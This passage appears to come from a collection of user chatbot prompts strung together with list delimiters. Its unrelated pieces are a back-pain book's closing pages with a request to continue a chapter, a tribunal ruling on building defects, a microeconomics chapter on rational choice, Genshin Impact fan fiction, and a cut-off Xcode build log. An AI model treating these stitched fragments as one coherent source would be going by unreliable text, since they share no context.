needed. \nStretches \nFollow up your glute routine with the following stretches from Chapter 17.\nThis will take three to four minutes.\n1. Hamstring Stretch\n2. Glute Stretch\n3. Piriformis Stretch\n4. Psoas Stretch\nTHE BACKFOREVER VIDEOS\nFor those of you who want to safely return to more demanding activities like weightlifting, skiing, golf, tennis, Pilates, yoga, etc., we invite you to become members of BackForever.com, where you will find hundreds of hours of detailed video instruction on these subjects. Visit BackForever.com to learn more. Enter this promo code to receive two free weeks of membership: YNYTRIAL.\nACKNOWLEDGMENTS\nThanks to Jeremy, first of all, for being such a joy to work with. Coauthorship is supposed to be hard. For me—especially in this book—it has been a joy. We worked mighty hard, but we laughed a lot too.\nJeremy and I have been blessed—and we know it—to have a superb editor in a smart, kind, diplomatic, literate Bruce Tracy at Workman. (That is a shortened list of attributes; Bruce was terrific. And he really got down into the weeds as well as the big picture. As good as they get.) And, as always, thanks to the wise and kind Suzie Bolotin, editor of the Younger Next Year® books and Uber-editor of this one. Heaven!\nLast, thanks to Bill Fabrocini, just about the smartest and most effective guy Jeremy and I know in the broad world of physical therapy and serious training. And about as nice a human being as I have ever met. Deep thanks, Bill.\n—C. C.\nI’d like to thank all of the people who have helped me become the clinician I am today. I’d like to thank Clinton Phillips, Michael Fox, Tim Powersmith, and Bill Fabrocini for their friendship, guidance, and the opportunities they have given me. Back pain has been one of the most misunderstood afflictions in modern society. Many of the concepts in this book are the result of the research and teaching of a handful of dedicated and pioneering individuals. There are many, but I would like to give special mention to Vladimir Janda, MD; David Simons, MD; Janet Travell, MD; Nikolai Bogduk, MD, PhD; and Stuart McGill, PhD. This book wouldn’t have been possible without your accomplishments. }\nRead the chapter 20 of original book that I sent you and save it in your memory. Then, based on this text of chapter 20 of original book and your own information, continue the text of chapter 20 of the new book as much as you like. morover, with explaining with deep learning to me as if i were 10 years old.The text should be completely scientific and academic and based on science World Day should be written and repetition should be avoided. that are not repetitive and related to this topic. this chapter of an original book that I gave you is just a starting point and he has the right to add relevant foliage to this section. based on chapter 20 of original book, you can start' -'This is the next part of my multiple messages. I will continue to send you further messages. If you understand then please say "acknowledged" Item 1 – Front facade\n\nThe first item complained of by the homeowner is that the front façade of the house was not constructed in accordance with the plans and specifications set out in the Contract, and that therefore there has been a breach of the warranty in s 18B(1)(a) of the Act.\n\nIt was not disputed by the respondent that the construction of the front façade departs from the architectural drawings which formed part of the Contract. The drawings depict a projection at the top of the front façade forming a parapet over a window identified in the drawings as W4. The parapet has not been constructed and instead an aluminium shade hood has been installed.\n\nThe homeowner says that he did not agree to this variation and that the variation did not have development consent.\n\nThis reasoning is problematic for a number of reasons.\n\nFirstly the evidence does not establish that development approval was required for this relatively minor change. The homeowner’s expert Mr Nakhla asserted that in his experience as a builder such a change would require development approval. The builder’s expert Mr Coombes asserted that in his opinion a minor change of this nature would not require development approval. Neither expert has expertise in planning regulation and law and no evidence from such an expert was provided.\n\nMoreover, Mr Nakhla’s own evidence given under cross-examination was that the development was ultimately approved by a certifier and an occupancy certificate was issued.\n\nHaving considered the available evidence, I am not satisfied that the modification of the front façade required planning approval.\n\nIn any event, the evidence establishes that the homeowner approved the change. In this regard Mr Taki relies on the following email exchange which he says occurred between the parties on 6 March 2020:\n\nMr Taki: I am just confirming that we are replacing the small louvre roof over window 4 with an aluminium shade-hood. This for both window 4 and sliding door 1 … can you please confirm this change as we are liable to pay a deposit. Once you have agreed to this replacement it is final…”\n\nMr Bahboota: Hi Adam, thanks for your email. As discussed, I am confirming.\n\nA copy of the email exchange is attached to the Coombes’ Report.\n\nThe homeowner did not present any evidence refuting that this email exchange took place, and did not cross-examine Mr Taki in relation to his evidence in this regard. I accept Mr Taki’s evidence and am satisfied that this exchange between the parties took place\n\nClause 14 of the Contract (which is in the form of the Master Builders Association BC 4 standard form contract) deals with variations to the work to be done under the Contract. Interpretation of that clause was discussed in detail in Paraiso v CBS Build Pty Ltd [2020] NSWSC 190 (Paraiso) at [32]-[57] and [60]. The Court found that Clause 14(d)(i) is to the same effect as cl 1(2) of Pt 1 of Sch 2 of the Act, which is statutorily imported under s 7E. That is, any agreement to vary the contract, or the plans and specifications for work to be done under the contract, must be in writing signed by or on behalf of each party.\n\nThis interpretation is also consistent with clause 1(c)(ii) of the Contract.\n\nIn Paraiso the Court suggested at [60] and at [62] that variations to a building contract which do not bear a handwritten signature but which are transmitted by email may nonetheless satisfy the requirements of the Electronic Transactions Act 2000 (NSW). Sections 8 and 9 of that Act relevantly provide:\n\n8 Writing\n\n(1) If, under a law of this jurisdiction, a person is required to give information in writing, that requirement is taken to have been met if the person gives the information by means of an electronic communication, where—\n\n(a) at the time the information was given, it was reasonable to expect that the information would be readily accessible so as to be useable for subsequent reference, and\n\n(b) the person to whom the information is required to be given consents to the information being given by means of an electronic communication.\n\n…\n\n9 Signatures\n\n(1) If, under a law of this jurisdiction, the signature of a person is required, that requirement is taken to have been met in relation to an electronic communication if—\n\n(a) a method is used to identify the person and to indicate the person’s intention in respect of the information communicated, and\n\n(b) the method used was either—\n\n(i) as reliable as appropriate for the purpose for which the electronic communication was generated or communicated, in the light of all the circumstances, including any relevant agreement, or\n\n(ii) proven in fact to have fulfilled the functions described in paragraph (a), by itself or together with further evidence, and\n\n(c) the person to whom the signature is required to be given consents to that requirement being met by way of the use of the method mentioned in paragraph (a).\n\nUnder section 5 of the Electronic Transactions Act “consent” is defined to include “consent that can reasonably be inferred from the conduct of the person concerned, but does not include consent given subject to conditions unless the conditions are complied with”.\n\nIt is also relevant in this regard to refer to clause 30 of the Contract which states:\n\nAll notices (and/or other documents) will be deemed to have been given, received or served if sent to the other party at the relevant address, email address or facsimile number nominated in the Contract or the address last communicated in writing to the person giving the notice.\n\nThe email address provided for the homeowner in the Contract is Mr Bahboota’s email address.\n\nGiven the current prevalence of email communication as a preferred means of communication, and that the Contract specifically permits provision of notices by email, I am satisfied that the email exchange of 6 March 2020 satisfies the requirements of s 8 of the Electronic Transactions Act and that the exchange of emails on 6 March 2020 detailed the proposed variation to the plans in writing.\n\nConsidering now the requirement for the agreed variation to be signed:\n\nThe use of email as contemplated by the Contract, together with the wording of Mr Taki’s email, and in particular the words “Can you please confirm this change, as we are liable to pay a deposit. Once you have agreed to this replacement, it is final”, together in my view satisfy the requirements of s 9(1)(a) and 9(1)(b)(i) of the Electronic Transactions Act.\n\nAlthough neither party specifically stated that they consented to the requirement for a signature being met by way of the email exchange, it can be reasonably inferred from the conduct of the parties (including in particular the statement in Mr Taki’s email “Once you have agreed to this replacement it is final” and the homeowner’s response “I am confirming”), that both parties consented, for the purposes of s 9(1)(c), to the requirement for a signature being met by way of the email exchange,\n\nand that therefore the email exchange satisfies the requirement for a signature of each party.\n\nFor these reasons I am satisfied that pursuant to the exchange of emails on 6 March 2020, the parties consented to vary the plans and specifications attached to the Contract insofar as they related to the front façade parapet, and that the exchange of emails satisfied the requirements of the Contract and of the Act that the variation be detailed in writing signed by or on behalf of the parties.\n\nThere is no evidence which establishes that the works done by the builder are inconsistent in any way with the variation detailed in the exchange of emails (and indeed Mr Nakhla conceded during cross-examination that although he had not taken any measurements of the shade-hood, visually it appeared consistent with what was agreed in the email exchange).\n\nAccordingly, I am not satisfied that the works were not done in accordance with the plans and specifications set out in the contract and therefore this part of the claim fails.\n\nI would add that even if the analysis above was incorrect, and there was no valid variation to the plans and specifications for the front facade, I would nonetheless have declined to make the work order sought by the homeowner. Under s 48O of the Act, the Tribunal is empowered to make any one or more of a range of orders when determining a building claim “as it considers appropriate”. In this case:\n\nThe builder asked the homeowner, in the 6 March exchange of emails, to confirm his consent to the variation;\n\nThe homeowner was on notice that once he consented, the builder would consider the change final and would be outlaying a deposit for the new shade hood;\n\nThe homeowner represented to the builder that he consented to the variation;\n\nThe builder proceeded to build the façade in accordance with the 6 March email exchange and with no objection from the homeowner until well after the dwelling had been constructed;\n\nThe builder relied on the homeowner’s representation and built the façade accordingly;\n\nThere is no evidence that the change requires development approval;\n\nThe works proposed by the homeowner to change the façade to conform with the original drawings are not trivial. Mr Nakhla estimates a cost of $42,194 for this work and Mr Coombes estimates $10,239.\n\nConsidering all of the circumstances, in my view it would be inappropriate to compel the builder to incur the cost of changing the front façade.\n\nItem 2 – Water ingress to garage\n\nThe parties’ experts agree that there is water penetration into the garage ceiling which requires rectification, but disagree as to the source of the water ingress and the appropriate method of rectification.\n\nThe experts also agree that once the defects are rectified, the garage ceiling will need to be patched and repaired.\n\nMr Nakhla says that he has identified the following defects in the construction of the garage roof:\n\nThe far left garage downpipe in box gutter has no sump and the pipe is installed flush with the box gutter;\n\nOn the far right side over the garage there are large visible gaps at the junctions of the masonry column and stone cladding;\n\nThere is no water stop angle behind the sliding doors (required by AS 4654.2) and no overflow provision installed to the enclosed balcony.\n\nWith regard to the installation of the far left garage downpipe and absence of a sump, the Nakhla Report provides no explanation as to why these issues render the installation of the pipework defective, and no explanation as to why Mr Nakhla has formed the view that these issues have resulted in water ingress. For example, the report does not refer to any relevant standard or code requirement, nor any other literature or materials used to support Mr Nakhla’s opinion (other than photographs), and the report identifies no tests or investigations conducted to establish that these issues have resulted in water ingress.\n\nSimilarly, with regard to the gaps observed at the junctures of the cladded wall and the rendered masonry, the report does not contain any measurements or other data, or any reference to industry standards or code requirements, which support Mr Nakhla’s conclusion that the gaps constitute defects. Moreover, there is no reliable evidence that the gaps have caused the water ingress. In particular, there is no evidence of tests or investigations carried out by Mr Nakhla in this regard and indeed there is no evidence at all which shows that the gaps penetrate further than the surface of the wall.\n\nIn short, Mr Nakhla’s evidence in relation to the first two of these issues do not establish the facts on which his opinions are based in order that I can be satisfied that there is a proper foundation for his opinion that those aspects of the garage roof are defective: see Makita (Aust) Pty Ltd v Sprowles (2001) 52 NSWLR 705; [2001] NSWCA 305 at [85] (Makita).\n\nWith regard to the water stop angle, Mr Coombes says that it is not possible to state conclusively that there is no water stop angle alongside the door frame. He says it is possible that the water stop angle is concealed by the timber strip which has been installed alongside the door frame. He also refers to a copy of a waterproofing certificate certifying that the work has been done in accordance with AS 3740 (although no copy of the relevant standard has been provided).\n\nMr Coombes was not cross-examined in relation to this evidence and no persuasive explanation was given by Mr Nakhla as to why he does not agree that the water stop angle may be concealed. Having considered the evidence of both experts in relation to this matter, I am satisfied that it is possible that the water stop angle is concealed by the timber strip identified by Mr Coombes and therefore am not satisfied that the builder has failed to install a water stop angle.\n\nMr Coombes says that there are no emergency overflow provisions to the enclosed balcony or the two box gutters at either end of the balcony. He also says that the water damage to the garage ceiling at the southern end is due to the installation of the outlet pipe which is immediately above this location. He says there is no flange around the top of the outlet pipe and consequently water can travel down the outside of the pipe as well as down the inside.\n\nMr Coombes recommends an invasive inspection of the pipework within the ceiling void so that it can be inspected for leaks at the joins. He also recommends installation of a flange around the top of the outlet pipe and installation of 50 mm emergency overflow pipes through the masonry walls of both box gutters and the enclosed balcony.\n\nMr Coombes was not cross-examined about his evidence in relation to any of these matters. Moreover, his report provides a more detailed explanation of the facts and observations on which his opinions regarding the water ingress are based, so that I am comfortably satisfied that there is a proper foundation for his opinions in relation to these matters.\n\nFor these reasons I prefer Mr Coombes’ evidence in relation to the cause of the water ingress and the method of rectification and am making an order that rectification works to the garage roof be done in accordance with the scope of works in the Coombes Report.' -'2 Choice\n2.1 Choice and rational choice\nIn the previous chapter we discuss an individual’s preference relation, a formal\nconcept that describes his mental attitude to all relevant alternatives. We now\ndevelop a formal tool to describe an individual’s behavior. The two concepts,\npreferences and choice, are building blocks of the economic models we develop\nlater.\nRecall that the notion of a preference relation refers only to the individual’s\nmental attitude, not to the choices he may make. In this chapter, we describe a\nconcept of choice, independently of preferences. This description specifies his\ndecision in any possible choice problem he may confront within the context we\nare modeling. Suppose, for example, that we want to model a worker who is\napplying for a job. Then a complete description of his behavior specifies not\nonly which job he chooses if all jobs in the world are open to him, but also his\nchoice from any subset of jobs that he might be offered.\nFormally, let X be the set of all the alternatives an individual might face. A\nchoice problem is a nonempty subset A of X, from which the individual chooses\nan alternative. A choice function describes the individual’s choice for every possible choice problem.\nDefinition 2.1: Choice problem and choice function\nGiven a set X, a choice problem for X is a nonempty subset of X and a\nchoice function for X associates with every choice problem A ⊆ X a single\nmember of A (the member chosen).\nUsually in economics we connect the individual’s behavior and his mental\nattitude by assuming that the individual is rational in the sense that\n• he has a preference relation over X\n• whenever he has to make a choice, he is aware of the set of possible alternatives\n• he chooses an alternative that is best according to his preference relation\nover the set of possible alternatives.\nChapter of Models in Microeconomic Theory by Martin J. Osborne and Ariel Rubinstein. Version 2020.12.21 (h).\n\nc 2020 Martin J. Osborne and Ariel Rubinstein CC BY-NC-ND 4.0. https://doi.org/10.11647/OBP.0204.02\n17\n18 Chapter 2. Choice\nNote that this model of rationality does not make any assumptions about the\ncontent of the individual’s preferences. His preferences might be “irrational” in\nthe everyday sense of the word and be inconsistent with what he, or we, would\nconsider to be his well-being. For example, an individual who chooses an alternative that causes him the greatest pain (measured in some way) is rational in\nthe sense we have defined.\nIf the preference relation of an individual is represented by the utility function\nu, then the individual acts as if he maximizes the function u under the constraint\nthat x ∈ A. Formally we write his problem as\nmax{u(x) : x ∈ A}.\nNote that if two individuals have two different strict preference relations and,\ngiven any set A choose alternatives in A that are best according to these preference relations, then their corresponding choice functions differ. That is, if for\ntwo alternatives x and y one individual prefers x to y and the other prefers y to\nx, then the choice function of the first individual assigns x to the problem {x,y }\nand the choice function of the second individual assigns y to this set.\n\n2.2 Rationalizing choice\nHuman beings usually do not consciously maximize a preference relation when\nthey make decisions. The standard justification for modeling individuals as rational is that although individuals rarely explicitly choose the best alternatives\naccording to their preference relations, their behavior can often be described as\nif they make choices in this way. Individuals do not have to be aware of their\npreference relations. The assumption that they maximize some preference relation is appropriate as long as we can describe them as if they behave in this way.\nAccordingly, we make the following definition.\nDefinition 2.2: Rationalizable choice function\nA choice function is rationalizable if there is a preference relation such that\nfor every choice problem the alternative specified by the choice function\nis the best alternative according to the preference relation.\nNotice that this definition requires that the alternative chosen from any set is\nthe unique best alternative. If we were to require only that it is a best alternative,\nthen every choice function would be rationalizable by the preference relation in\nwhich all alternatives are indifferent. We return to the issue in Section 5.5.\n2.2 Rationalizing choice 19\nExample 2.1\nLet X = {a,b, c }. The choice function that assigns a to {a,b, c }, a to {a,b},\na to {a, c }, and b to {b, c } is rationalized by the preference relation ¼ for\nwhich a \x1f b \x1f c . That is, we can describe the behavior of an individual with this choice function as if he always chooses the best available\nalternative according to ¼.\nOn the other hand, any choice function that assigns a to {a,b}, c to\n{a, c }, and b to {b, c } is not rationalizable. If this choice function could be\nrationalized by a preference relation ¼, then a \x1f b, b \x1f c , and c \x1f a, which\ncontradicts transitivity.\nOf the 24 possible choice functions for the case in which X contains\nthree alternatives, only six are rationalizable.\nWe now give some examples of choice procedures and examine whether the\nresulting choice functions are rationalizable.\nExample 2.2: The median\nAn individual has in mind an ordering of the alternatives in the set X from\nleft to right. For example, X could be a set of political candidates and the\nordering might reflect their position from left to right. From any set A of\navailable alternatives, the individual chooses a median alternative. Precisely, if the number of available alternatives is odd, with a1 < a2 < ··· <\na2k+1 for some integer k , the individual chooses the single median ak+1,\nand if the number of alternatives is even, with a1 < a2 < ··· < a2k , then the\nindividual chooses ak , the leftmost of the two medians.\nNo preference relation rationalizes this choice function. Assume that\nA contains five alternatives, a1 < a2 < a3 < a4 < a5. From this set, he\nchooses a3. If he has to choose from {a3,a4,a5}, he chooses a4. If a preference relation ¼ rationalizes this choice function then a3 \x1f a4 from his first\nchoice and a4 \x1f a3 from his second choice, a contradiction.\nNote that the individual’s behavior has a rationale of a different type:\nhe always prefers the central option. But this rationale cannot be described in terms of choosing the best alternative according to a preference relation over the set of available alternatives. The behavior can\nbe rationalized if we view the set of alternatives to be the positions\nY = {median, one left of median, one right of median, two left of median,\ntwo right of median}. Then the first choice problem is Y and the second\nchoice problem is {one left of median, median, one right of median}. The\n20 Chapter 2. Choice\npreference relation ¼ given by\nmedian \x1f one left of median \x1f one right of median \x1f . . .\nrationalizes the choice function.\nExample 2.3: Steak and salmon\nLuce and Raiffa (1957, 288) give an example of a person entering a restaurant in a strange city.\nThe waiter informs him that there is no menu, but that this\nevening he may have either broiled salmon at $2.50 or steak\nat $4.00. In a first-rate restaurant his choice would have been\nsteak, but considering his unknown surroundings and the different prices he elects the salmon. Soon after the waiter returns from\nthe kitchen, apologizes profusely, blaming the uncommunicative\nchef for omitting to tell him that fried snails and frog’s legs are also\non the bill of fare at $4.50 each. It so happens that our hero detests\nthem both and would always select salmon in preference to either,\nyet his response is “Splendid, I’ll change my order to steak”.\nConsider a set X that consists of the four main courses, salmon, steak,\nsnails, and frog’s legs. No preference relation over X rationalizes the person’s behavior, because such a preference relation would have to rank\nsalmon above steak by his choice from {salmon, steak} and steak above\nsalmon by his choice from X.\nA reasonable explanation for the person’s behavior is that although\nsteak appears in both choice problems, he does not regard it to be the\nsame dish. The availability of snails and frog’s legs tells him that the steak\nis likely to be of high quality. Without this information, he views steak as\nlow quality and chooses salmon.\nNo preference relation on X rationalizes the person’s behavior,\nbut a preference relation on {salmon, low quality steak, high quality steak,\nsnails, frog’s legs} does so:\nhigh quality steak \x1f salmon \x1f low quality steak \x1f snails \x1f frog’s legs.\nAn underlying assumption behind the concept of a choice function is that\nan alternative is the same in every choice set in which it appears. The choice\nfunction in the example cannot be rationalized because the example identifies\ntwo different options as the same alternative.\n2.3 Property α 21\nExample 2.4: Partygoer\nEach of the people in the set X = {A, B1, B2} organizes a party. A person\nmight be invited to a subset of those parties and can attend only one party.\nIndividuals B1 and B2 are both good friends of the partygoer but the relations between B1 and B2 are tense. The person’s behavior is as follows.\nIf he is invited by A and B1, he accepts B1’s invitation. If he is invited by\nall three individuals, he accepts A’s invitation. He does so because he is\nworried that accepting the invitation of B1 or B2 will be interpreted negatively by the other individual. Obviously such behavior is not rationalizable by a preference relation over X. As in the previous example, the meaning of choosing one alternative (B1) is affected by the presence or absence\nof another alternative (B2).' -'Here is a full chapter 8:\n\nCHAPTER 8\nThe Battle for Liyue\nFilon was walking through the crowded streets of Liyue when he suddenly collided with someone, causing them both to stumble. He reached out to steady the person and saw that it was Yanfei, the premier legal advisor of Liyue.\n"I\'m sorry," Filon said, feeling flustered. "I didn\'t see you there."\nYanfei looked at him with her bright teal-green eyes. "It\'s okay," she said, her voice laced with suspicion. "But I can\'t help but notice that you have a very unique aura about you."\nFilon\'s heart skipped a beat. He had always been careful to keep his powers hidden, but it seemed that Yanfei had noticed something.\n"What do you mean?" Filon asked, trying to play it cool.\n"I know what you did," Yanfei said, her voice low and serious. "I know that you killed Hu Tao, and I can\'t just let that go."\nFilon\'s heart sank. He had only wanted to break free from "the border," but he had never meant to hurt anyone.\n"Please," Filon begged. "I don\'t want to hurt anyone. I just wanted to be free."\nYanfei shook her head. "I can\'t just let this go," she said firmly. "I have to report this to Zhongli and Ningguang. It\'s my duty as a legal advisor."\nFilon knew he couldn\'t stop her. He watched in despair as Yanfei walked away, determined to expose his secret to the world.\nFilon stood nervously as Yanfei finished recounting the story of how he had discovered Filon\'s powers and the events leading up to Hu Tao\'s death. Zhongli and Ningguang listened intently, their expressions impassive as they absorbed the information.\n"I see," Zhongli said finally, his voice low and measured. "It is fortunate that you came to us with this information, Yanfei. We will have to be more cautious around Filon from now on."\nNingguang nodded. "Indeed. It is clear that Filon\'s powers are beyond what we had previously thought. We must be careful not to underestimate him in the future."\nFilon\'s heart raced as he listened to their words. He had never meant to hurt anyone, and the thought that he could be seen as a threat filled him with fear.\n"Please, I don\'t want to cause any trouble," he said, his voice shaking. "I just want to live a normal life and help others."\nYanfei gave him a sympathetic look. "I understand, Filon. But you must understand that your powers make you a potential danger to those around you. It is important that we take steps to ensure the safety of everyone in Liyue."\nZhongli nodded. "Yanfei is right. We will work with you to find a way to control and harness your powers, Filon. But for now, we must be cautious and keep a close eye on you."\nFilon nodded, feeling a weight lift off his shoulders as he realized that Zhongli and Ningguang were willing to help him. He knew it would be a long and difficult journey, but he was determined to do whatever it took to become the hero he had always dreamed of being.\nFilon stood in front of Ningguang, his face impassive as he listened to her explanation. She wanted to control his powers, no matter what. But Filon knew that he was perfectly capable of controlling them himself.\n"I understand your concern, Ningguang," Filon said calmly. "But I assure you, I have no intention of using my powers irresponsibly. I have learned to control them over the years."\nNingguang\'s eyes narrowed. "But you are more powerful than me. You could potentially be a danger to others if you lose control."\nFilon shook his head. "I understand your concerns, but I am not a child. I am capable of making my own decisions about how to use my powers."\nNingguang\'s frustration was palpable. "I can\'t just let you roam free with all that power. It\'s too risky."\nFilon\'s expression remained unchanged. "I understand your caution, but I assure you, I am in control of my powers. Please trust me in this."\nDespite his calm demeanor, Ningguang could sense the strength of his resolve. She knew she would have to come up with another plan to keep him in check.\nNingguang\'s plan was to bring in Ganyu, Shenhe, and Xiao to try and control Filon\'s powers. Filon, however, was resistant to the idea and remained calm and collected as always, which only seemed to frustrate Ningguang further.\n"I\'m telling you, we can\'t just leave this alone. He\'s too powerful, and if he gets upset or angry, who knows what could happen?" Ningguang argued, pacing back and forth in front of Filon.\nFilon remained seated, his expression unchanged. "I understand your concerns, Ningguang, but I assure you that I am in complete control of my powers. I have no intention of using them irresponsibly or causing harm to anyone."\nNingguang let out a sigh of frustration. "Fine. But I\'m still calling in the others. I want to be sure that we can handle this situation if anything were to happen."\nFilon nodded, understanding her caution. "I understand. I\'ll cooperate with any measures you see fit."\nAnd with that, Ningguang called in Ganyu, Shenhe, and Xiao to discuss the situation further.\n\\*\\*\\*\nFilon stood his ground as he faced off against Xiao and Shenhe. His fists were clenched at his sides, a faint aura of power emanating from him. He knew that they were determined to bring him down, but he was equally determined to protect himself.\n"You don\'t have to do this," Filon said, trying to reason with them. "I\'m not a threat."\n"You killed Hu Tao," Shenhe spat out, brandishing her polearm. "You\'re a danger to everyone."\nFilon sighed, knowing that he couldn\'t deny the accusations. He had been driven to a breaking point and his powers had taken over, resulting in Hu Tao\'s death. But he was determined to make amends and ensure that something like that never happened again.\n"I don\'t want to fight you," Filon said firmly. "I just want to live my life in peace."\nBut his words fell on deaf ears as Xiao and Shenhe attacked him, their polearms glinting in the sunlight. Filon dodged and weaved, his movements graceful and precise. He knew that he couldn\'t defeat them head on, so he focused on defense and waiting for an opportunity to strike.\nThe sound of clashing metal echoed through the streets of Liyue as Filon and the three adepti engaged in a fierce battle. Filon\'s skin seemed to shimmer as he utilized his powers, his form shifting and contorting as he fought against his opponents.\nGanyu loosed arrow after arrow from her bow, each one flying with deadly accuracy towards Filon. He managed to deflect most of them with ease, but a few managed to graze his skin, causing him to wince in pain.\nXiao and Shenhe fought with polearms, the sharp edges of their weapons glinting in the sunlight as they swung them towards Filon. He was fast, though, dodging and weaving around their attacks and counterattacking with blows of his own.\nDespite their combined strength, Filon seemed to be holding his own against the three adepti. He was a skilled fighter, his movements precise and calculated as he fought.\nThe battle raged on, each combatant matching the other blow for blow. Sweat dripped down Filon\'s forehead as he fought, his muscles straining with the effort.\nGanyu was the first to falter, her arrows running out and her arms growing tired from the constant strain of pulling back her bowstring. Filon took the opportunity to strike, his fist connecting with her stomach and sending her flying back.\nXiao and Shenhe continued to fight, their weapons clashing against Filon\'s as they struggled to gain the upper hand. But it was no use. Filon was too strong, his powers too great.\nWith a final, powerful strike, Filon sent Xiao crashing to the ground. He turned his attention to Shenhe, who was already badly injured and struggling to stay standing.\n"Please, stop," Shenhe begged, her voice weak and strained. "I don\'t want to fight you anymore."\nFilon hesitated, the look of determination in his eyes fading as he met Shenhe\'s pleading gaze. He let out a sigh and stepped back, his arms falling to his sides.\n"I\'m sorry," Filon said, his voice barely above a whisper. "I didn\'t want any of this to happen."\nGanyu, who had managed to struggle back to her feet, approached Filon and placed a hand on his shoulder. "It\'s okay," she said softly. "We were just following orders. You were only defending yourself."\nFilon nodded, a sense of guilt and sadness washing over him. He had never wanted to hurt anyone, let alone his fellow adepti.\nDespite the struggle, their relationship was unlikely to have suffered. Ganyu knew that Filon was only defending himself, and Shenhe was too grateful to be alive to hold a grudge. It was a small comfort, but it was something.\n\\*\\*\\*\nFilon and Ganyu arrived at the palace, where Ningguang and Zhongli were waiting for them. Filon approached them, his expression stern.\n"Ningguang, Zhongli," he said, his voice cold. "I don\'t know what you were thinking, trying to control my powers. But I won\'t let you or anyone else harm me or my trams."\nNingguang\'s eyebrows furrowed. "What are you talking about, Filon? We were just trying to help you control your powers."\n"I won\'t allow any kind of compromise," he said, his voice low and firm. "I\'ve already used my powers for the good of Liyue, and I won\'t let anyone try to control me or use me for their own gain. You two are nothing but tyrannical oligarchs, treating people like things and only thinking about your own good."\nNingguang\'s eyes narrowed, her lips pressed into a thin line. "You may think you\'re doing the right thing, Filon, but you\'re still a danger to this city. You have no idea how much power you really have, and you could end up causing more harm than good."\nFilon shook his head. "I won\'t let that happen. I will do everything in my power to protect Liyue, even if it means overthrowing you two and establishing a republic with a democratic system. Portuguese will be introduced into the schools and authorities, and Liyue will become a Portuguese colony. I won\'t let your greed and selfishness continue to rule this city."\nZhongli\'s expression was unreadable as he listened to Filon\'s words. After a moment of silence, he spoke up. "I understand your desire to protect Liyue, Filon, but you must understand that change does not come easily. And there is always a risk of causing harm when trying to bring about change. It is not as simple as just overthrowing the current system and expecting everything to be perfect."\nFilon took a deep breath, trying to calm the anger that was boiling inside of him. "I understand that, Zhongli. But I can\'t just stand by and do nothing while people are being oppressed and mistreated. I have to try and make a difference, even if it means taking a risk. And I won\'t let anyone, not even the two of you, stand in my way."\nNingguang and Zhongli exchanged a glance, seeming to silently communicate something to each other. After a moment, Ningguang spoke up. "Very well, Filon. We won\'t try to stop you or control your powers. But we hope you will be careful and consider the consequences of your actions. Liyue is a fragile city, and we all have a responsibility to protect it and its people."\nFilon nodded, feeling a sense of relief wash over him. "Thank you, Ningguang. I promise to be careful and considerate. And I hope that we can work together to make Liyue a better place for everyone."\n\\*\\*\\*\nAs Filon and Ganyu walked through the streets of Liyue, they chatted amiably about the events of the day. Filon couldn\'t help but feel grateful to Ganyu for her understanding and support during the confrontation with Xiao and Shenhe.\n"I really appreciate your help, Ganyu," Filon said. "I know that you didn\'t want to fight me, and I\'m sorry that things had to turn out that way."\nGanyu smiled and patted Filon\'s shoulder. "Don\'t worry about it, Filon. I know that you were only trying to protect yourself and your loved ones. And I have to admit, it was kind of exciting to see you in action. Your powers are truly impressive."\nFilon chuckled, feeling a warm sense of camaraderie with Ganyu. "Well, I\'m glad that I could count on you. I don\'t think I could have handled things on my own."\nAs they continued walking, Filon couldn\'t help but feel a sense of hope for the future. With friends like Ganyu by his side, he knew that he could face any challenge that came his way. And with his powers, he would be able to make a real difference in the world, using them for the betterment of all.' -"CompileC /Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/Objects-normal/arm64/signal.o /Users/jameschege/WebstormProjects/mars/ios/Pods/libevent/signal.c normal arm64 c com.apple.compilers.llvm.clang.1\\_0.compiler (in target 'libevent' from project 'Pods')\n cd /Users/jameschege/WebstormProjects/mars/ios/Pods\n /Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/clang -x c -target arm64-apple-ios11.0-simulator -fmessage-length\\=0 -fdiagnostics-show-note-include-stack -fmacro-backtrace-limit\\=0 -std\\=gnu11 -fmodules -fmodules-cache-path\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/ModuleCache.noindex -fmodules-prune-interval\\=86400 -fmodules-prune-after\\=345600 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-I/Users/jameschege/WebstormProjects/mars/ios/Pods/Headers/Public/libevent -I/Users/jameschege/WebstormProjects/mars/ios/Pods/libevent/include -I/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/DerivedSources-normal/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/DerivedSources/arm64 -I/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Intermediates.noindex/Pods.build/Debug-iphonesimulator/libevent.build/DerivedSources -F/Users/jameschege/Library/Developer/Xcode/DerivedData/mars-bunauennwhxvqrfemcgipearjqlg/Build/Products/Debug-iphonesimulator/libevent -fmodule-map-file\\=/Users/jameschege/Library/Developer/Xcode/DerivedData/mercury-hisdthbjzariubaizxugvbudzphm/Build/Products/Debug-iphonesimulator/YogaKit/YogaKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/FlipperKit/FlipperKit.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/RCTTypeSafety/RCTTypeSafety.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React/React-Core.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/ReactCommon/ReactCommon.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/React\\_Codegen/React-Codegen.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/folly/RCT-Folly.modulemap -fmodule-map-file\\=/Users/jameschege/WebstormProjects/mercury/ios/Pods/Headers/Public/yoga/Yoga.modulemap -DFOLLY\\_NO\\_CONFIG -DFOLLY\\_MOBILE\\=1 -DFOLLY\\_USE\\_LIBCPP\\=1 -Wno-comma -Wno-shorten-64-to-32 -DREACT\\_NATIVE\\_MINOR\\_VERSION\\=71 